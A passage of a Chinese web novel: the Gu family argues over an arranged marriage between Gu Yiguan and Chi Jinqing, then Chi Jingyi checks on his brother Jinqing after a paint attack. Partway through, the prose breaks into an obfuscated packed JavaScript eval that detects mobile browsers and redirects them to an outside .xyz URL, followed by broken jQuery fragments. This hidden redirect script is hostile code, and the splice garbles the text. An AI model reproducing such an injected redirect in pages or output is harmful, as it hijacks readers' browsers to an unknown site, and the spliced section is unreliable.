顾以观觉得这个事情的荒唐程度,已经让他不知道该作何评价,而一直沉默的顾泽达终于开了口。


    比起强势的母亲和女儿,顾泽达虽然手段不弱,但却是天生一副圆融和善模样,无论何时何地何事,面上总能笑吟吟的。但是事关自己亲儿子的婚姻大事,这次就连顾泽达都有些笑不出来了。


    顾泽达:“我托了不少关系,刚在池家一个宗亲那里,打听到了一些消息。池家那个孩子叫池衿青,今年24岁,据说他人聪明、很会读书,早早就读完了大学。按照池家那个老辈的说法,这个池衿青,的确不是召明华亲生,而是被跑路的柳晴好硬塞回来的,为的就是争夺池家家产。池家人对外的说法是保护小儿子,不带出来见人,事实是整个池家都知道柳晴好母子不安好心,所以不让那个池衿青接触池家的产业,更是在他刚满十八岁那天,直接把人送出了老宅。”


    顾清宁皱眉,“人聪明、想争家产,这种时候又要绑上我们顾家联姻。”


    宋舒婉哪里想到,这许多年过去了,竟然会莫名其妙地当空砸下来这么大的一个烂摊子。


    宋舒婉愁容满面地看向自己丈夫,语气里全是焦急,“老公,这要怎么办啊!那个柳晴好说,她手里有当年和我交换的信物,如果我们家不兑现承诺,她就到处去闹,反正豪门恩怨多得是人想看,何况咱们以观还是个大影帝。哎呀,都怪我,我当年怎么就鬼迷了心窍呢。”


    顾清宁:“这事儿确实怪您,当年随随便便就敢定亲,这么多年又不讲出来,我们连提前谋划的时间都没有。”


    宋舒婉这辈子没吃过厉害婆婆的苦,没想到现如今天天得在她这个大冰雕似的女儿面前小心翼翼。宋舒婉看到顾清宁不悦的神色,又是委委屈屈地补了一句,“我是真的忘了嘛。”


    顾清宁还想开口,一直作壁上观的顾家老夫人,却是出言打断。


    顾老夫人:“有事情讲事情,有问题解决问题,指责舒婉做什么。单论家世,那池家和我们祖上就是旧相识,两家方方面面都算匹配,柳晴好也是明媒正娶进的池家大门,以当年的情形,舒婉和她定亲没什么可指摘的。现在事情变糟糕了,那是柳晴好人品有问题,关舒婉什么事儿,温厚、诚挚都是舒婉的优点,没有遇见了恶人反倒怪善人心善的道理。”


    顾清宁对顾老太太一向极为尊敬信服,她见老太太开口,立即答话,“是我想偏了,我的错。”


    宋舒婉看着顾老太太,简直想要热泪盈眶,别看顾老太太平日里一副不苟言笑模样,但这几十年来对她却从来都是百般纵容、千般宠爱。


    顾老夫人感受到自己儿媳感动的目光,眼底藏了一分笑意。这满顾家人人心眼子多得都跟蜂窝煤似的,就只有舒婉这么一个善良、贴心还讨喜的,跟块热乎乎的甜糕一样,见了就心情舒畅。


    顾老夫人:“依我看,和柳晴好的孩子结亲,我们家不愿意,那召明华只会更不愿意。她难道想看见和她儿子争家产的人,忽然得了咱们这么大的一个助力?”


    顾泽达心念电转,立即说道,“这个事情,我们从外部使力,的确不如让它从内部消损。明天我去探探召明华的口风,看她知不知道这件事情,池铎又知不知道这件事情。”


    顾老夫人、顾清宁和宋舒婉各自点头,然后几个人,又是齐齐看向了一言不发的顾以观。


    顾以观正在看自己经纪人鑫姐发给他的后续消息,怀今月的事情后来处理得很干脆利落,金鍂鑫便没有出面,并且那些如何清除皮肤沾上油漆的小妙招,她也已经找个理由全都发给元长安了。


    顾以观对鑫姐的办事效率一向很满意,他刚回复了一句感谢的话,忽然就觉得自己好像被几道目光齐齐盯住了。


    顾以观抬眼,不解问道,“怎么了?”


    顾清宁:“你没什么意见要发表吗?”


    顾以观:“没有。”


    宋舒婉看着自己这个从里到外全都优秀到没话说的儿子,忽然觉得顾以观的婚姻大事还是得趁早提上日程,免得将来又被什么坏蛋给算计了。顾以观和他姐姐不一样,顾清宁是面冷心坚,放眼整个顾家,再没有比她更理智沉稳的,但顾以观却是面冷心软,万一有那种不安好心的小妖精在顾以观面前装可怜,保不准顾以观就要上钩。


    宋舒婉:“以观,其实你也确实到了该成婚的年纪。之前你不是说,婚事由家里安排么,那不如过些日子我打听打听哪家有年龄合适的,你先相看一下吧。”


    顾泽达点头,“也好。”


    顾以观蹙眉,“我之前随口说的,不看。”


    宋舒婉和顾泽达,本来也只是觉得可以考虑一下儿子的婚事了,并非是强制性的,他们见顾以观果断拒绝,便将这个想法搁置在了一边。宋舒婉和顾泽达没怎么仔细琢磨,反倒是顾清宁侧头看向顾以观,神情严肃。


    顾以观:“怎么了?”


    顾清宁:“无事。”


    顾清宁最了解他这个弟弟,顾以观是那种非常按部就班的人,虽然他说“自己等着家里安排联姻”只是“对外的搪塞之词”,但本人未必就没有这个意思,毕竟家里层层精挑细选,最终选定的,一定是方方面面都合适且适合的。但现在顾以观忽然对这件事情拒绝得如此坚决,只能说明他已经完全排除了“等着家里安排”这个选项,所以,顾以观心里已经有了其它选项。


    改变关于感情的想法,那必须有一个关于感情的人存在。


    顾清宁:“姐姐为你感到开心。”


    顾以观虽然早已经习惯了顾清宁那张万年不变的冰山脸,但用这张脸说出这种话,还是有点瘆人。


    顾以观不太确定地问道,“你开心我被池家绑着联姻?”


    顾清宁收回视线,拒绝继续沟通。


    宋舒婉本来已经蹭到了顾老夫人身边,正帮着久坐的老太太揉揉肩膀。她忽然听到顾以观又说什么“池家绑着联姻”,立即对着自己儿子开口说道,“以观,你放心,不用等明天,待会儿我就让你爸爸去联系池家那边,我们绝不让你和那个池衿青在一起!”


    顾泽达配合帮腔,“你妈妈说得很对,召明华是什么角色不用我多说,她亲生的儿子池景熠,也是相当有手腕的一个人。到时候自然有池景熠去收拾那个池衿青,根本轮不到我们多操心。”


    顾家的所有人,整齐一致地相信了池家宗亲给出的“内部消息”,而远在平城的池景熠和池衿青两兄弟,相处得却是非常和谐。


    池景熠捏着池衿青下巴,仔细检查池衿青洗澡时候搓得通红的脸颊,虽然那些油漆已经被洗掉了,但显然池衿青的脸也受了不少罪,不然也不会这么久了还没变回本色。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425949|184232||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    池衿青仰头看着正缓慢散发寒气的亲哥,开口说道,“哥,你不是要飞海外吗,怎么还专门来我这里一趟。”


    池景熠:“从哪里出境都一样。”


    池衿青:“那你能先放手吗,我又不是小时候了,我朋友在一边看着呢。”


    池景熠依言放开池衿青的下巴,又立即改成捏住池衿青的两腮,直接把池衿青捏成了一个嘟嘟嘴。池景熠先把池衿青制裁得说不出话来,然后才转头看向正在墙边拔军姿的元长安,“你介意吗?”


    元长安对上池景熠的目光,本就紧紧贴着墙壁的身体,立即又用力往后靠了靠,恨不得自己能融入墙壁里面。他把头摇晃得像个拨浪鼓一样,极力证明自己绝不介意。


    如果上天再给元长安一次机会,他一定超越光速,拉着二百斤的黄周一起,把池衿青挡得密不透风,哪怕不是为了池衿青,也要为了他自己。万一池景熠这个“护弟狂魔”不讲武德的搞迁怒,谁知道他明早睁开眼睛时候,是不是已经被送去给外星人当研究材料了。


    池景熠收回目光,顺便收手,面无表情说道,“你朋友不介意。”


    池衿青如实陈述,“他只是不敢介意。”


    池景熠觉得元长安不是什么需要重点讨论的对象,直接换了下个话题,“今天的事情太危险了,如果那个智障泼的不是油漆而是其它高腐蚀液体,后果不堪设想。以后我会安排两个保镖给你,你出门时候随身带上。”


    池衿青:“我不出门。”


    池景熠:“那你现在是在哪里?”


    池衿青:……


    池衿青:“我不经常出门,以后再外出,自己也会小心的。”


    池景熠:“好,我不逼你,你也要说到做到。”


    池衿青:“谢谢哥。”


    池景熠眼底多了几分笑意,“虽然不太理解你道谢的点在哪里,但谢我收了。”


    池衿青也笑,“那从小到大我要道谢的可太多了。”


    池景熠随手摸了摸池衿青刚吹干的松软头发,又是再次说道,“上次父母和我提起,想让你再找个商学院接着读一读。我个人也是这个意见,你读书又不费力,时间也还算充足。”


    池衿青:“不想读,大学那时候我就不是很喜欢商学院,如果进修还读商科,更不想了。”


    池景熠:“咱们池家,毕竟是从商的。”


    池衿青下意识地攥紧衣角,“我又不想管什么池家的生意。”


    池景熠眼角余光看到了池衿青的小动作,他只当做全然不知,仍然是平日那副语气,“你可以不想管的时候不管,但不能想管的时候没本事管,毕竟你……”


    池衿青出言打断,“哥!”


    站在不远处cos人形壁纸的元长安惊讶地看了看池衿青,接着又看向池景熠。他认识池衿青的时间也不算短了,池衿青真的很少有什么情绪波动,但现在,连他都能感觉出来池衿青在不高兴。


    池景熠语气纵容,“好,那我不讲了。”


    池景熠说完,抬手看了看腕表,再次开口,“时间不早了,我要去机场,你也早点休息吧。我这次出差的时间会有点长,如果家里那边喊你回去吃饭,你不想去,直接拒了就是,没关系。”


    池衿青点点头,在池景熠准备离开的时候,又是语带纠结地喊了一声,“哥。”